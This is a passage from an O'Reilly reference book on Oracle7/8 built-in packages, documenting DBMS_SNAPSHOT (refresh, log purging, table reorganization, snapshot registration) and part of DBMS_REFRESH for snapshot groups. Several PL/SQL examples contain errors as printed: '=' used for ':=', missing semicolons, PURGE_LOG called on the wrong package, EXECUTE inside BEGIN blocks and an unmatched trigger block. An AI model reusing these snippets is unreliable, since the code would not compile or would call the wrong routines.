BEGIN_TABLE_REORGANIZATION (Oracle8 only) | Called prior to reorganizing a master table (e.g., through export/import); saves data required to refresh snapshots | No
END_TABLE_REORGANIZATION (Oracle8 only) | Called after reorganizing a master table (e.g., through export/import); validates data required to refresh snapshots | No
I_AM_A_REFRESH | Returns value of REP$WHAT_AM_I.I_AM_A_SNAPSHOT | No
PURGE_LOG | Purges snapshot log | No
REFRESH | Refreshes a snapshot | No
REGISTER_SNAPSHOT (Oracle8 only) | Records information about snapshots at the master site in the DBA_REGISTERED_SNAPSHOTS data dictionary view | No
SET_I_AM_A_REFRESH | Sets REP$WHAT_AM_I.I_AM_A_SNAPSHOT to specified value | No
UNREGISTER_SNAPSHOT (Oracle8 only) | Removes information about snapshots at the master site from the DBA_REGISTERED_SNAPSHOTS data dictionary view | No

DBMS_SNAPSHOT does not define any exceptions.

NOTE: All of the programs in DBMS_SNAPSHOT are available regardless of whether you are using snapshot groups or the advanced replication option.

14.1.2 Using the I_AM_A_REFRESH Package State Variable

The I_AM_A_REFRESH and SET_I_AM_A_REFRESH programs query and set Oracle's REP$I_AM_A_REFRESH package variable. Oracle uses this variable in replication triggers and elsewhere internally to determine whether a given DML statement should be replicated to other master sites.

14.1.2.1 The DBMS_SNAPSHOT.I_AM_A_REFRESH function

The I_AM_A_REFRESH function queries the REP$I_AM_A_REFRESH package variable. If this variable equals "Y," then the session is refreshing a snapshot or applying propagated DML to a replicated table. The header for the function follows:

FUNCTION DBMS_SNAPSHOT.I_AM_A_REFRESH RETURN BOOLEAN;

The function does not raise any exceptions.

14.1.2.1.1 Examples

Let's look at several examples of querying the I_AM_A_REFRESH package variable.

14.1.2.1.2 Generating replication support

Suppose now that you are replicating a table named COUNTRIES in the SPROCKET schema:

SQL> DESC sprocket.countries
Name               Null?        Type
---------------    ---------    --------------
COUNTRY_ID         NOT NULL     NUMBER(6)
ISO3166_NUMBER     NOT NULL     NUMBER(3)
ISO3166_NAME       NOT NULL     VARCHAR2(50)
ISO2_CODE          NOT NULL     VARCHAR2(2)
ISO3_CODE          NOT NULL     VARCHAR2(3)
AUDIT_DATE         NOT NULL     DATE
AUDIT_USER         NOT NULL     VARCHAR2(30)
GLOBAL_NAME        NOT NULL     VARCHAR2(20)

When you generate replication support for this table with DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT (described in Chapter 15), Oracle creates an AFTER ROW trigger named COUNTRIES$RT, which queues DML to other master sites. The text of the trigger follows:

    after delete or insert or update on "SPROCKET"."COUNTRIES"
  for each row
declare
  flag char;
begin
  if "COUNTRIES$TP".active then
    if inserting then
      flag := 'I';
    elsif updating then
      flag := 'U';
    elsif deleting then
      flag := 'D';
    end if;
    "COUNTRIES$TP".replicate(
      :old."AUDIT_DATE",:new."AUDIT_DATE",
      :old."AUDIT_USER",:new."AUDIT_USER",
      :old."COUNTRY_ID",:new."COUNTRY_ID",
      :old."GLOBAL_NAME",:new."GLOBAL_NAME",
      :old."ISO2_CODE",:new."ISO2_CODE",
      :old."ISO3166_NAME",:new."ISO3166_NAME",
      :old."ISO3166_NUMBER",:new."ISO3166_NUMBER",
      :old."ISO3_CODE",:new."ISO3_CODE",
      flag);
  end if;
end;

As you can see, this trigger replicates DML only if the function COUNTRIES$TP.active is TRUE. This ACTIVE function uses DBMS_SNAPSHOT.I_AM_A_REFRESH as follows:

function active return boolean
is
begin
return (not((is_snapshot and dbms_snapshot.I_am_a_refresh) or
not dbms_reputil.replication_is_on));
end active;

Oracle uses the active function, which calls DBMS_SNAPSHOT.I_AM_A_REFRESH, to distinguish between your application's DML operations and the DML that is being propagated from another master site.

The base table of an updateable snapshot has a trigger that also uses the I_AM_A_REFRESH function.

14.1.2.1.3 Auditing triggers

Under some circumstances, you may need to determine the source of DML statements. For example, you will notice that the countries table has a number of fields used for auditing: audit_date, audit_user, and global_name. We have a BEFORE ROW trigger that populates these fields.

CREATE OR REPLACE TRIGGER countries_audit
BEFORE INSERT OR UPDATE ON countries
FOR EACH ROW

DECLARE
        vGlobalName     VARCHAR2(30) := DBMS_REPUTIL.GLOBAL_NAME;
BEGIN
        IF NOT (DBMS_SNAPSHOT.I_AM_A_REFRESH) THEN
        BEGIN
                :new.audit_date         := SYSDATE;
                :new.audit_user         := USER;
                :new.global_name      := vGlobalName;
        END IF;

END;

This trigger fires when an application performs an INSERT or UPDATE, but not when the DML is propagated from other sites.

NOTE: All row-level replication triggers are AFTER ROW triggers. Although a table can have multiple triggers of the same type, you cannot control the order in which they are fired. Therefore, it is safest to use BEFORE ROW triggers to perform auditing on replicated tables; in this way, you are guaranteed that BEFORE ROW triggers fire before AFTER ROW triggers.

14.1.2.2 The DBMS_SNAPSHOT.SET_I_AM_A_REFRESH procedure

The SET_I_AM_A_REFRESH procedure sets the I_AM_A_REFRESH package variable. The header for the procedure is:

PROCEDURE DBMS_SNAPSHOT.SET_I_AM_A_REFRESH  (value IN  BOOLEAN);

where value is the value (Y or N) being set. This procedure does not raise any exceptions.

14.1.2.2.1 Example

If you need to enable and disable replication triggers at the session level, you can do so with the SET_I_AM_A_REFRESH procedure. To enable the triggers, specify the following:

DBMS_SNAPSHOT.SET_I_AM_A_REFRESH( value => FALSE )

To disable them, specify the following:

DBMS_SNAPSHOT.SET_I_AM_A_REFRESH( value => TRUE )

Use this package carefully, because disabling replication triggers effectively disables any conflict resolution mechanisms you may have defined. (See Chapter 17, Deferred Transactions and Remote Procedure Calls, for a discussion of these mechanisms.)

14.1.3 Refreshing Snapshots

Calling the REFRESH procedure from a snapshot site forces the refresh of the specified snapshot(s). Typically, this procedure is used to refresh an individual snapshot, or a group of snapshots that are not in the same snapshot refresh group.

14.1.3.1 The DBMS_SNAPSHOT.REFRESH procedure

Call the REFRESH procedure to force a snapshot refresh. The specifications for the Oracle7 and Oracle8 versions of the REFRESH procedure differ. Note that the Version 8.0 implementation adds parameters that support parallelism, and drops the execute_as_user parameter. Both versions are overloaded, allowing you to specify the list of snapshots as a comma-delimited string in the list parameter, or as a PL/SQL table in the tab parameter. The other parameters are identical for the two versions.

Here is the Oracle7 specification:

PROCEDURE DBMS_SNAPSHOT.REFRESH
   (list IN VARCHAR2,
    method IN VARCHAR2 DEFAULT NULL,
    rollback_seg IN VARCHAR2 DEFAULT NULL,
    push_deferred_rpc IN BOOLEAN DEFAULT TRUE,
    refresh_after_errors IN BOOLEAN DEFAULT FALSE,
    execute_as_user IN BOOLEAN DEFAULT FALSE );

PROCEDURE DBMS_SNAPSHOT.REFRESH
   (tab IN OUT dbms_utility.uncl_array,
    method  IN VARCHAR2 DEFAULT NULL,
    rollback_seg IN VARCHAR2 DEFAULT NULL,
    push_deferred_rpc IN BOOLEAN DEFAULT TRUE,
    refresh_after_errors IN BOOLEAN DEFAULT FALSE,
    execute_as_user IN BOOLEAN DEFAULT FALSE );

Here is the Oracle8 specification:

PROCEDURE DBMS_SNAPSHOT.REFRESH
   (list IN VARCHAR2,
    method  IN VARCHAR2 := NULL,
    rollback_seg IN VARCHAR2 := NULL,
    push_deferred_rpc IN BOOLEAN := TRUE,
    refresh_after_errors IN BOOLEAN := FALSE,
    purge_option IN BINARY_INTEGER := 1,
    parallelism IN BINARY_INTEGER := 0,
    heap_size IN BINARY_INTEGER := 0);

  PROCEDURE DBMS_SNAPSHOT.REFRESH
    (tab IN OUT dbms_utility.uncl_array,
     method IN VARCHAR2 := NULL,
     rollback_seg IN VARCHAR2 := NULL,
     push_deferred_rpc IN BOOLEAN := TRUE,
     refresh_after_errors IN BOOLEAN := FALSE,
     purge_option IN BINARY_INTEGER := 1,
     parallelism IN BINARY_INTEGER := 0,
     heap_size  IN BINARY_INTEGER := 0);

Parameters are summarized in the following table.

Name

Description

list

Comma-separated list of snapshots to be refreshed. Use list or tab.

tab

PL.SQL table of snapshots to be refreshed. Use list or tab.

method

Refresh method:

`?' uses the default refresh method. If you specified a refresh method when you created the snapshot, that is the default method. Otherwise, Oracle uses a fast refresh if possible, and a complete refresh if not.

`F' or `f' uses fast refresh if possible, and returns ORA-12004 if not.

`C' or `c' uses a COMPLETE refresh. This parameter should include a single character for each snapshot specified in list or tab, in the same order as the snapshot names appear. If list or tab contains more snapshots than the method list, the additional snapshots are refreshed with their default method.

rollback_seg

Optional; specifies the rollback segment to use for the refresh.

push_deferred_rpc

Optional; for updateable snapshots only. If TRUE (the default), then local updates are sent back to the master site before the snapshot is refreshed (otherwise, local updates will be temporarily overwritten).

refresh_after_errors

Optional; for updateable snapshots only. If TRUE, proceed with the refresh even if outstanding errors (conflicts) are logged in the DEFERROR data dictionary view at the master site. Default is FALSE.

execute_as_user

(Version 7 only)

If FALSE (the default) then the call to the remote system is performed under the privilege domain of the user that created the snapshot. If TRUE, the call is performed as the user calling the refresh procedure.

purge_option

(Oracle8 only)

If push_deferred_rpc is TRUE, this designates the purge method; default is 1.

  • 0 No purge

  • 1 Lazy purge (optimized for time)

  • 2 Aggressive purge (complete)

parallelism

(Oracle8 only)

If push_defered_rpc is TRUE, this determines the maximum degree of parallelism; default is 1.

  • 0 Serial

  • 1 Parallel with one slave

  • N Parallel with N slaves (N > 1)

heap_size

(Oracle8 only)

Used only if parallelism > 0. Sets the maximum number of transactions to be examined simultaneously for determining parallel scheduling. Oracle determines this value internally; you are advised not to use it.

The REFRESH procedure does not raise any exceptions.

All of the snapshots passed to list or tab are refreshed as a single transaction; all or none are refreshed. In addition, the refreshed snapshots will respect all integrity constraints that exist among the master tables.

You might want to force a manual refresh of a snapshot if the next scheduled refresh is too far in the future, or if you have repaired a problem that caused the scheduled refresh job to break. Forcing a manual refresh of a snapshot does not alter its refresh schedule.

A FAST refresh requires a snapshot log on the master table, and is possible only for simple snapshots in Oracle7; Oracle8 supports fast refreshes subquery snapshots meeting certain conditions. Fast refreshes read the snapshot log to determine which rows have changed since the last refresh, and only those rows are updated.

If you are concerned about the amount of rollback the refresh will require, you can use the rollback_seg parameter to designate a rollback segment that is suitably sized for the transaction. However, you are not guaranteed that no other transactions will use this rollback segment. In general, you should consider making relatively large rollback segments if you anticipate frequent refreshes of large snapshots.

14.1.3.1.1 Restrictions

You can call REFRESH only from a snapshot site.

14.1.3.1.2 Examples

Once you are familiar with the various parameters to the REFRESH procedure, it becomes simple to use, as the following examples illustrate.

14.1.3.1.3 Read-only snapshot

This example shows a refresh as a read-only snapshot named PRICE_LIST:

BEGIN
    DBMS_SNAPSHOT.REFRESH (list => 'PRICES');
END;

This is the simplest possible refresh method. Note that since we have not provided a schema name, this would have to be executed from the snapshot owner's account.

14.1.3.1.4 Related read-only snapshots

In the next example, we refresh a set of related read-only snapshots.

DECLARE
vSnapshotList dbms_utility.uncl_array
BEGIN
    vSnapshotList(1) = 'COUNTRIES'
    vSnapshotList(2) = 'STATES'
    vSnapshotList(3) = 'POSTAL_CODES'
    vSnapshotList(4) = 'CUSTOMER_ADDRESSES'

    DBMS_SNAPSHOT.REFRESH(	tab => vSnapShotList,
                method => 'CCF?',
                rollback_segment => 'RB1'
                execute_as_user => FALSE);
END;

This example illustrates several points:

  1. You can provide the list of snapshots as a PL/SQL table. Oracle will refresh all of the snapshots in one atomic transaction; either all or none of the snapshots are refreshed. All referential consistencies among the master tables will be preserved in the snapshot tables.

  2. You can specify different refresh methods for each snapshot. This example performs a complete refresh on COUNTRIES and STATES, a full refresh on POSTAL_CODES, and a fast refresh (if possible) on CUSTOMER_ADDRESSES. If Oracle cannot use a fast refresh on the CUSTOMER_ADDRESS table, it will perform a complete refresh instead.

  3. You can designate a specific, suitably sized rollback segment for the refresh.

  4. You can set the parameter, execute_as_user, to FALSE to force Oracle to refresh the snapshot under the privilege domain of the snapshot owner.

14.1.3.1.5 Updateable snapshot.

In the next example, we refresh the updateable snapshot DAILY_STORE_SALES.

DECLARE
vSnapshotList dbms_utility.uncl_array
BEGIN
    vSnapshotList(1) = 'DAILY_STORE_SALES'

    DBMS_SNAPSHOT.REFRESH(	tab => vSnapShotList,
                method => '?'
                push_deferred_rpc => FALSE);
END;

Since we set push_deferred_rpc to FALSE (the default is TRUE), the refresh will overwrite any local changes. The local changes will be visible again after the remote procedure call (RPC) pushes them to the master site and snapshot is refreshed again.

14.1.3.1.6 Parallel refreshes

In this example, the parallelism feature of Oracle8 allows us to use four processes to refresh the updateable snapshot DAILY_STORE_SALES:

DECLARE
vSnapshotList dbms_utility.uncl_array
BEGIN
    vSnapshotList(1) = 'DAILY_STORE_SALES'

    DBMS_SNAPSHOT.REFRESH(	tab => vSnapShotList,
                method => '?'
                parallelism => 4,
                purge_option = 2);
END;

The purge_option parameter controls how Oracle purges the snapshot site's deferred transaction queue; Oracle8 does not purge the queue automatically when the transactions propagate, so you must use DBMS_DEFER_SYS.SCHEDULE_PURGE (described in Chapter 17) to schedule a job to purge the queue, lest it become large and unmanageable. The purge_option parameter in REFRESH provides an opportunity to purge the queue of transactions associated with the updateable snapshot(s) you are refreshing.

NOTE: Purging the deferred transaction queue is not the same thing as purging a snapshot log!

14.1.4 Purging the Snapshot Log

The PURGE_LOG procedure deletes records from the snapshot log on a master table. You may wish to do this if the snapshot log becomes very large, or if you drop a subset of the snapshots for which the table is a master.

14.1.4.1 The DBMS_SNAPSHOT.PURGE.LOG procedure

Call the PURGE_LOG procedure to delete snapshot log records. The specification for the PURGE_LOG procedure follows:

PROCEDURE DBMS_SNAPSHOT.PURGE_LOG
   (master VARCHAR2
   ,num BINARY_INTEGER DEFAULT 1
   ,flag VARCHAR2 DEFAULT 'NOP' );

Parameters are summarized in the following table.

Name | Description
master | Name of the master table
num | Delete records required to refresh the oldest number of unrefreshed snapshot; default is 1
flag | Set to DELETE to guarantee that records are deleted for at least one snapshot regardless of the setting of num

The PURGE_LOG procedure does not raise any exceptions.

14.1.4.1.1 Examples

The following examples illustrate the use of the PURGE_LOG procedure. The first example shows the simplest form of the procedure; the only parameter is master:

BEGIN
    DBMS_REFRESH.PURGE_LOG( master => 'COUNTRIES' );
END;

Since the call uses the default value for num, 1, it will purge the snapshot log records required for a fast refresh of the least recently refreshed snapshot -- that is, the most stale snapshot.

This example shows the use of several parameters:

BEGIN
    DBMS_REFRESH.PURGE_LOG
        ( master => 'COUNTRIES', num => 5, flag => 'DELETE' );
END;

In this example, the procedure deletes snapshot log records required for a fast refresh of the five most stale snapshots. However, since we have set the flag parameter to DELETE, the call is guaranteed to delete the records for at least one snapshot, even if the table masters fewer than five snapshots.

NOTE: To delete all records from a snapshot log, set the num parameter to a high value (greater than the number of snapshots mastered to the master table, specified in the master parameter).

14.1.5 Reorganizing Tables

Occasionally a DBA must reorganize a table -- in other words, coalesce its extents and reduce row chaining. Two new programs in Oracle8 allow you to reorganize a master table without invalidating its snapshot log: BEGIN_TABLE_REORGANIZATION and END_TABLE_REORGANIZATION. Therefore, you do not have to perform complete refreshes of the table's snapshots after it is reorganized. To take advantage of this new feature, you must be using primary key snapshots.

14.1.5.1 The DBMS_SNAPSHOT.BEGIN_TABLE_REORGANIZATION procedure (Oracle8 only)

If you are reorganizing a table, call the BEGIN_TABLE_REORGANIZATION procedure before reorganizing the table, and the END_TABLE_REORGANIZATION procedure when you are finished. The specification for BEGIN_TABLE_REORGANIZATION follows:

PROCEDURE DBMS_SNAPSHOT.BEGIN_TABLE_REORGANIZATION
   (tabowner IN VARCHAR2
   ,tabname  IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
tabowner | Owner of the master table
tabname | Name of the master table being reorganized

This procedure does not raise any exceptions.

14.1.5.2 The DBMS_SNAPSHOT.END_TABLE_REORGANIZATION procedure (Oracle8 only)

Call the END_TABLE_REORGANIZATION procedure when you are finished reorganizing a table. The specification for END_TABLE_REORGANIZATION follows:

PROCEDURE DBMS_SNAPSHOT.END_TABLE_REORGANIZATION
   (tabowner IN VARCHAR2

Parameters are the same as those for BEGIN_TABLE_REORGANIZATION. This procedure does not raise any exceptions.

14.1.5.2.1 Examples

The following examples illustrate how to use these procedures as part of a table reorganization. The first example shows the steps for reorganizing a master table using truncation.

  1. Call DBMS_SNAPSHOT.BEGIN_TABLE_REORGANIZATION:

    BEGIN
    EXECUTE DBMS_SNAPSHOT.BEGIN_TABLE_REORGANIZATION (
        tabowner => 'SPROCKET', tabname => 'COUNTRIES');
END;

  2. Back up the table by exporting it, or spooling it to a flat file.

  3. Truncate the master table, preserving the snapshot log:

    TRUNCATE TABLE countries PRESERVE SNAPSHOT LOG;

  4. Restore the table from the export file or flat file.

  5. Call DBMS_SNAPSHOT.END_TABLE_REORGANIZATION:

    BEGIN
    EXECUTE DBMS_SNAPSHOT.END_TABLE_REORGANIZATION (
        tabowner => 'SPROCKET', tabname => 'COUNTRIES');
END;

The next example shows the steps for reorganizing a master table using RENAME TABLE.

  1. Call DBMS_SNAPSHOT.BEGIN_TABLE_REORGANIZATION:

    BEGIN
    EXECUTE DBMS_SNAPSHOT.BEGIN_TABLE_REORGANIZATION (
        tabowner => 'SPROCKET', tabname => 'COUNTRIES');
END;

  2. Rename the table:

    RENAME TABLE countries TO countries_pre_reorg;

  3. Create a new version of the table:

    CREATE TABLE countries AS SELECT * FROM countrie_pre_reorg;

  4. Call DBMS_SNAPSHOT.END_TABLE_REORGANIZATION:

    BEGIN
    EXECUTE DBMS_SNAPSHOT.END_TABLE_REORGANIZATION (
        tabowner => 'SPROCKET', tabname => 'COUNTRIES');
END;

  5. Recreate any triggers that were defined on the table.

In both of these examples, snapshots will be able to use the snapshot log for fast refreshes after the table reorganization is complete.

14.1.6 Registering Snapshots

One of the most significant improvements in Oracle8 is the automatic registration of snapshots at the master site. In Oracle7, there was no easy way to determine the location -- or even the existence -- of snapshots with master table(s) in your instance. But when you create a snapshot in Oracle8, Oracle puts a record in the DBA_REGISTERED_SNAPSHOTS data dictionary view. Similarly, when you drop a snapshot, Oracle deletes the record from DBA_REGISTERED_SNAPSHOTS.

The REGISTER and UNREGISTER procedures let you manually maintain this data dictionary view, shown in Table Table 14.2.

Table 14.2: DBA_REGISTERED_SNAPSHOTS Data Dictionary View
Column Name | Description
OWNER | Snapshot owner.
NAME | Snapshot name.
SNAPSHOT_SITE | Global name of database where snapshot resides.
CAN_USE_LOG | If YES, then snapshot refreshes can use snapshot log.
UPDATABLE | If YES, then snapshot is an updateable snapshot.
REFRESH_METHOD | Refresh method; either ROWID or PRIMARY KEY.
SNAPSHOT_ID | Unique ID of snapshot used for fast refreshes.
VERSION | Version of the snapshot. Possible values are REG_UNKNOWN, REG_V7_GROUP, REG_V8_GROUP, and REG_REPAPI_GROUP.
QUERY_TXT | Text of the snapshot's query.

14.1.6.1 The DBMS_SNAPSHOT.REGISTER_SNAPSHOT procedure (Oracle 8 only)

Generally, the registration and unregistration of snapshots is automatic if both the master and snapshot databases are Oracle8. However, in case the snapshot site is running Oracle7, or if the automatic registration fails, you can use the Oracle8 procedure, REGISTER_SNAPSHOT, to register the snapshot manually.

NOTE: The registration of snapshots is not mandatory; it records data in DBA_REGISTERED_SNAPSHOTS that is for informational use only. You should not rely on the contents of this data dictionary view.

The specification for the REGISTER_SNAPSHOT procedure is as follows:

PROCEDURE DBMS_SNAPSHOT.REGISTER_SNAPSHOT
   (snapowner   IN VARCHAR2,
    snapname    IN VARCHAR2,
    snapsite    IN VARCHAR2,
    snapshot_id IN DATE | BINARY_INTEGER,
    flag        IN BINARY_INTEGER,
    qry_txt     IN VARCHAR2,
    rep_type    IN BINARY_INTEGER := dbms_snapshot.reg_unknown);

The REGISTER_SNAPSHOT procedure is overloaded; snapshot_id is a DATE type if the snapshot site is an Oracle7 database, and BINARY_INTEGER if it is an Oracle8 database. Parameters are summarized in the following table.

Name

Description

snapowner

Owner of the snapshot.

snapname

Name of the snapshot.

snapsite

Global name of snapshot site database instance.

snapshot_id

ID of the snapshot. Use DATE datatype for Oracle7 snapshot sites, BINARY_INTEGER for Oracle8 snapshot sites. The snapshot_id and flag parameters are mutually exclusive.

flag

PL/SQL variable dictating whether future moves and creates are registered in the qry_text parameter; this flag does not appear to be used.

qry_text

Up to 32000 characters of the text of the snapshot query.

rep_type

Binary integer indicating the version of the snapshot. Possible values are:

  • reg_unknown = 0 (the default)

  • reg_v7_group = 1

  • reg_v8_group = 2

  • reg_repapi_group = 3

REGISTER_SNAPSHOT does not raise any exceptions.

14.1.6.1.1 Example

Registration of Oracle7 snapshots is never automatic; you must call REGISTER_SNAPSHOT if you want to see Oracle7 snapshots in the DBA_REGISTERED_SNAPSHOTS data dictionary view. You must provide all of the information you want to see. In the following example, you register a snapshot from an Oracle7 snapshot site to an Oracle8 master:

BEGIN
    DBMS_SNAPSHOT.REGISTER_SNAPSHOT(
        snapowner	=> 'SPROCKET',
        snapname	=> 'COUNTRIES',
        snapsite	=> 'D7CA.BIGWHEEL.COM',
        snapshot_id	=> sysdate,
        flag		=> 0,
        qry_text	=> 'SELECT * FROM countries@D8CA.BIGWHEEL.COM',
        rep_typ	e	=> reg_v7_group);
END;

14.1.6.2 The DBMS_SNAPSHOT.UNREGISTER_SNAPSHOT procedures (Oracle8 only)

The UNREGISTER_SNAPSHOT procedure is the flip side of the REGISTER_SNAPSHOT procedure. You use UNREGISTER_SNAPSHOT when you need to manually unregister a snapshot. This procedure unregisters snapshots at the master site, regardless of whether they were registered manually or automatically.

The specification is as follows:

PROCEDURE DBMS_SNAPSHOT.UNREGISTER_SNAPSHOT
   (snapowner IN VARCHAR,
    snapname IN VARCHAR2,
    snapsite IN VARCHAR2)

See the description of parameters under the REGISTER procedure.

UNREGISTER_SNAPSHOT does not raise any exceptions.

NOTE: Unregistering a snapshot has no effect on the snapshot itself.

14.1.6.2.1 Example

In this example, we unregister the snapshot that we created in the previous section:

BEGIN
    DBMS_SNAPSHOT.UNREGISTER_SNAPSHOT(
        snapowner	=> 'SPROCKET',
        snapname	=> 'COUNTRIES',
        snapsite	=> 'D7CA.BIGWHEEL.COM');
END

For a detailed example, see the mastsnap.sql file on the companion disk. This script lists registered snapshots at a master site, including their last refresh time. It requires Oracle8.

Previous: IV. Distributed Database Packages | Oracle Built-in Packages | Next: 14.2 DBMS_REFRESH: Managing Snapshot Groups
IV. Distributed Database Packages | Book Index | 14.2 DBMS_REFRESH: Managing Snapshot Groups
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 14] 14.2 DBMS_REFRESH: Managing Snapshot Groups

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

14.2 DBMS_REFRESH: Managing Snapshot Groups

The DBMS_REFRESH package contains procedures for administrating snapshot groups. A snapshot group is a collection of one or more snapshots that Oracle refreshes in an atomic transaction, guaranteeing that relationships among the master tables are preserved in the snapshot tables. The DBMS_REFRESH package includes packages that perform the following functions:

  • Create and destroy snapshot groups

  • Add and subtract snapshots from snapshot groups

  • Manually refresh snapshot groups

  • Change properties of the snapshot group, such as the refresh interval

Figure Figure 14.1 shows how DBMS_REFRESH works and Figure Figure 14.2 illustrates snapshot groups.

Figure 14.1: DBMS_REFRESH components

Figure 14.2: A snapshot group

14.2.1 Getting Started with DBMS_REFRESH

The DBMS_REFRESH package is created when the Oracle database is installed. The dbmssnap.sql script (found in the built-in packages source directory, as described in Chapter 1) contains the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym DBMS_REFRESH for the package and grants EXECUTE privilege on the package to public. All Oracle users can reference and make use of this package.

Table 14-3 lists the programs available in the DBMS_REFRESH package.

Table 14.3: DBMS_REFRESH Programs
Name | Description | Use in SQL?
ADD | Adds one or more snapshots to an existing refresh group | No
CHANGE | Changes parameters associated with a refresh group | No
DESTROY | Removes a refresh group | No
MAKE | Creates a refresh group | No
REFRESH | Forces a refresh of a refresh group | No
SUBTRACT | Removes one or more snapshots from a refresh group | No

DBMS_REFRESH does not define any exceptions.

14.2.2 Creating and Destroying Snapshot Groups

The MAKE and DESTROY procedures create and destroy snapshot groups, respectively. You call these procedures from the snapshot site.

14.2.2.1 The DBMS_REFRESH.MAKE procedure

Call the MAKE procedure to create a snapshot group. Note that you must select either the list or tab parameter, but not both. The specifications for Oracle7 and Oracle8 versions differ as follows.

Here is the Oracle7 specification:

PROCEDURE DBMS_REFRESH.MAKE
   (name IN VARCHAR2,
   {list IN VARCHAR2,| tab IN dbms_utility.uncl_array,}
    next_date IN DATE,
    interval IN VARCHAR2,
    implicit_destroy IN BOOLEAN DEFAULT FALSE,
    lax IN BOOLEAN DEFAULT FALSE,
    job IN BINARY_INTEGER DEFAULT 0,
    rollback_seg IN VARCHAR2 DEFAULT NULL,
    push_deferred_rpc IN BOOLEAN DEFAULT TRUE,
    refresh_after_errors IN BOOLEAN DEFAULT FALSE );

Here is the Oracle8 specification:

PROCEDURE DBMS_REFRESH.MAKE
   (name IN VARCHAR2,
   {list IN VARCHAR2,| tab IN dmbs_utility.uncl_array,}
    next_date IN DATE,
    interval IN VARCHAR2,
    implicit_destroy IN BOOLEAN := FALSE,
    lax IN BOOLEAN := FALSE,
    job IN BINARY_INTEGER := 0,
    rollback_seg IN VARCHAR2 := NULL,
    push_deferred_rpc IN BOOLEAN := TRUE,
    refresh_after_errors IN BOOLEAN := FALSE,
    purge_option  IN BINARY_INTEGER := 1,
    parallelism IN BINARY_INTEGER := 0,
    heap_size IN BINARY_INTEGER := 0);

In both Oracle7 and Oracle8, the MAKE procedure is overloaded; you can supply the list of snapshots either as a comma-separated string with the list parameter, or as a PL/SQL table with the tab parameter.

Parameters are summarized in the following table.

Name

Description

name

Name of the refresh group to create.

list

A comma-delimited string of snapshots to include in the new refresh group. Use either list or tab to specify the snapshot(s) you want to add.

tab

A PL/SQL table of snapshots to include in the new refresh group. Use either list or tab to specify the snapshot(s) you want to add.

next_date

The time of the next refresh.

interval

A DATE expression indicating the snapshot group's refresh interval.

implicit_destroy

If set to TRUE, the snapshot group is destroyed if all snapshots are removed from it.

lax

If set to TRUE and the snapshot(s) already exist in a refresh group other than name, the snapshot(s) are first removed from the other group.

job

Used by import utility. Always use default value of 0.

rollback_seg

Specifies the rollback segment to use during snapshot refreshes. If set to NULL, the default rollback segment is used.

push_deferred_rpc

For updateable snapshots only. Setting this parameter to TRUE indicates that local updates will be pushed back to the master site (otherwise, local updates will not be visible during the refresh).

refresh_after_errors

For updateable snapshots only. Setting this parameter to TRUE indicates that refreshes should occur even if errors exist in the DEFERROR data dictionary view.

purge_option

(Oracle8 only)

If push_deferred_rpc is TRUE, this designates the purge method; default is 1.

  • 0 No purge

  • 1 Lazy purge (optimized for time)

  • 2 Aggressive purge (complete)

parallelism

(Oracle8 only)

  • If push_defered_rpc is TRUE, this determines the maximum degree of parallelism; default is 1.

  • 0 Serial

  • 1 Parallel with 1 slave

  • N Parallel with N slaves (N > 1)

heap_size

(Oracle8 only)

Used only if parallelism > 0. Sets the maximum number of transactions to be examined simultaneously for determining parallel scheduling. Oracle determines this value internally; you are advised not to use it.

The MAKE procedure does not raise any exceptions.

14.2.2.1.1 Examples

The following examples illustrate how the MAKE procedure may be used.

14.2.2.1.2 Read-only snapshot. group

In this example, we create a snapshot refresh group of read-only snapshots:

DECLARE
vSnapshotList dbms_utility.uncl_array
BEGIN
    vSnapshotList(1) = 'COUNTRIES'
    vSnapshotList(2) = 'STATES'
    vSnapshotList(3) = 'POSTAL_CODES'
    vSnapshotList(4) = 'CUSTOMER_ADDRESSES'

    DBMS_REFRESH.MAKE(name => 'SG_ADDR_TABS',
                      tab => vSnapShotList,
                      next_date => TRUNC(sysdate) + 1,
                      interval => 'SYSDATE + 1');
END;

This example shows the simplest invocation of DBMS_REFRESH.MAKE; defaults are used for all possible parameters. This call creates a snapshot group on four related tables, and schedules them to be refreshed at every day at midnight.

14.2.2.1.3 Read-only snapshot group with specialized parameters

In the following example, we create a snapshot refresh group of read-only snapshots with specialized parameters:

DECLARE
vSnapshotList dbms_utility.uncl_array
BEGIN
    vSnapshotList(1) = 'COUNTRIES'
    vSnapshotList(2) = 'STATES'
    vSnapshotList(3) = 'POSTAL_CODES'
    vSnapshotList(4) = 'CUSTOMER_ADDRESSES'

    DBMS_REFRESH.MAKE(name => 'SG_ADDR_TABS',
                      tab => vSnapShotList,
                      next_date => TRUNC(sysdate) + 1,
                      interval => 'SYSDATE + 1',
                      implicit_destroy => TRUE,
                      lax => TRUE,
                      rollback_segment 'RB1');
END;

This example creates the same snapshot group as in the previous example, but with some additional properties:

implicit_destroy = TRUE

This setting causes the snapshot group SG_ADDR_TABS to be destroyed if all of the snapshots in the group are dropped. The default behavior is to preserve the snapshot group, even if it has no members.

lax = TRUE

If any of the snapshots being added to SG_ADDR_TABS exist in another snapshot group, this setting instructs Oracle to remove them from the other group before adding them to the new group. A snapshot cannot be a member of more than one snapshot group.

rollback_segment = `RB1'

This setting causes Oracle to use rollback segment RB1 whenever it refreshes snapshot group SG_ADDR_TABS. You should consider specifying rollback segments if your snapshot refreshes result in long transactions requiring a large rollback segment.

14.2.2.1.4 Parallel propagation

In the next example, we create a snapshot refresh group that uses parallel propagation (Oracle8 only):

DECLARE
vSnapshotList dbms_utility.uncl_array
BEGIN
    vSnapshotList(1) = 'COUNTRIES'
    vSnapshotList(2) = 'STATES'
    vSnapshotList(3) = 'POSTAL_CODES'
    vSnapshotList(4) = 'CUSTOMER_ADDRESSES'

    DBMS_REFRESH.MAKE(name => 'SG_ADDR_TABS',
                      tab => vSnapShotList,
                      next_date => TRUNC(sysdate) + 1,
                      interval => 'SYSDATE + 1',
                      parallelism => 4,);
END;

This example sets parallelism to 4, so that Oracle uses four processes to perform the refresh.

